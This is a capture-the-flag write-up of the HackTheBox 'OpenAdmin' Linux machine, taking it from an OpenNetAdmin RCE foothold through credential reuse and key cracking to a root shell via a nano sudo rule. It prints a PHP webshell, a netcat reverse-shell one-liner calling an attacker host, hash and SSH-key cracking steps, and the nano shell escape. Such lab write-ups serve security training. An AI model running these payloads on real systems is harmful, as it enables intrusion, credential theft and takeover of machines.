Skip to content
HackIndex.io

OpenAdmin Writeup - HackTheBox

Linux Easy
HackTheBox Discuss on Discord
Mohammad Meraj

Independent Security Researcher

OpenAdmin is a Linux box. The chain runs: nmap finds SSH and Apache, manual browsing finds an OpenNetAdmin 18.1.1 instance with a public unauthenticated RCE, the ONA database config leaks a password reused for jimmy's SSH account, an internal web app on port 52846 has a hardcoded SHA-512 hash in its source, cracking it unlocks a page with an encrypted RSA private key, cracking the key passphrase with john gives SSH access as joanna, and a NOPASSWD sudo rule on nano allows a GTFOBins shell escape to root.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ nmap -p22,80 $TARGET_IP -sCV -oA nmap/nmap 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works

Apache default page. Browse manually to find http://$TARGET_IP/ona/: an OpenNetAdmin 18.1.1 instance.

Foothold

OpenNetAdmin 18.1.1 unauthenticated RCE

┌──(kali㉿kali)-[~]
└─$ # Exploit-DB 47691
./exploit.sh http://$TARGET_IP/ona/ 
$ whoami
www-data
$ pwd
/opt/ona/www

Drop a webshell for a stable interface:

┌──(kali㉿kali)-[~]
└─$ # Via exploit shell:
echo '<?php system($_REQUEST["cmd"]); ?>' > /opt/ona/www/rce.php
┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/ona/rce.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|sh+-i+2>%261|nc+$ATTACKER_IP+$ATTACKER_PORT+>/tmp/f'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 42374
$ whoami
www-data

Shell as www-data.

Lateral Movement

ONA database config password reuse

┌──(kali㉿kali)-[~]
└─$ cat /opt/ona/www/local/config/database_settings.inc.php 
'db_login' => 'ona_sys',
'db_passwd' => '$JIMMY_PASSWORD',
'db_database' => 'ona_default',
┌──(kali㉿kali)-[~]
└─$ ssh jimmy@$TARGET_IP 
jimmy@$TARGET_IP's password:
jimmy@openadmin:~$ whoami
jimmy

Password reuse from the ONA database config to jimmy's SSH account.

Internal Web App

┌──(kali㉿kali)-[~]
└─$ ss -tulnp 
tcp  LISTEN  127.0.0.1:3306
tcp  LISTEN  127.0.0.1:52846
tcp  LISTEN  *:80

Port 52846 is an internal-only web app. Read its source directly before touching the login form:

┌──(kali㉿kali)-[~]
└─$ cat /var/www/internal/index.php 
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')

SHA-512 hash hardcoded in the source. Crack it with CrackStation. Tunnel the port and log in to main.php, which returns a passphrase-protected RSA private key.

┌──(kali㉿kali)-[~]
└─$ ssh -L 52846:127.0.0.1:52846 jimmy@$TARGET_IP

Browse to http://localhost:52846/ and log in. Save the private key from main.php, then crack the passphrase:

┌──(kali㉿kali)-[~]
└─$ ssh2john id_rsa > pass
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt pass 
$KEY_PASSPHRASE      (rsa)
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa joanna@$TARGET_IP 
Enter passphrase for key 'id_rsa':
joanna@openadmin:~$ whoami
joanna

Shell as joanna.

Privilege Escalation

nano sudo escape

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

NOPASSWD sudo on nano with a fixed file argument. Nano exposes a command-execution feature via its read-file prompt. sudo controls the invocation, not what nano can do once running as root:

  1. Run sudo /bin/nano /opt/priv
  2. Press Ctrl+R then Ctrl+X
  3. Type reset; sh 1>&0 2>&0 and press Enter
┌──(kali㉿kali)-[~]
└─$ sudo /bin/nano /opt/priv 
# (Ctrl+R, Ctrl+X, type: reset; sh 1>&0 2>&0, Enter)
# id
uid=0(root) gid=0(root) groups=0(root)

Related

SSH Credential Reuse Validation
Blog

SSH Credential Reuse Validation

Validates reused SSH credentials across internal hosts to identify lateral movement paths via passwo...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...
SSH Port Forwarding and Tunneling on Linux
Blog

SSH Port Forwarding and Tunneling on Linux

Covers SSH local, remote & dynamic port forwarding techniques to tunnel traffic, bypass network rest...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References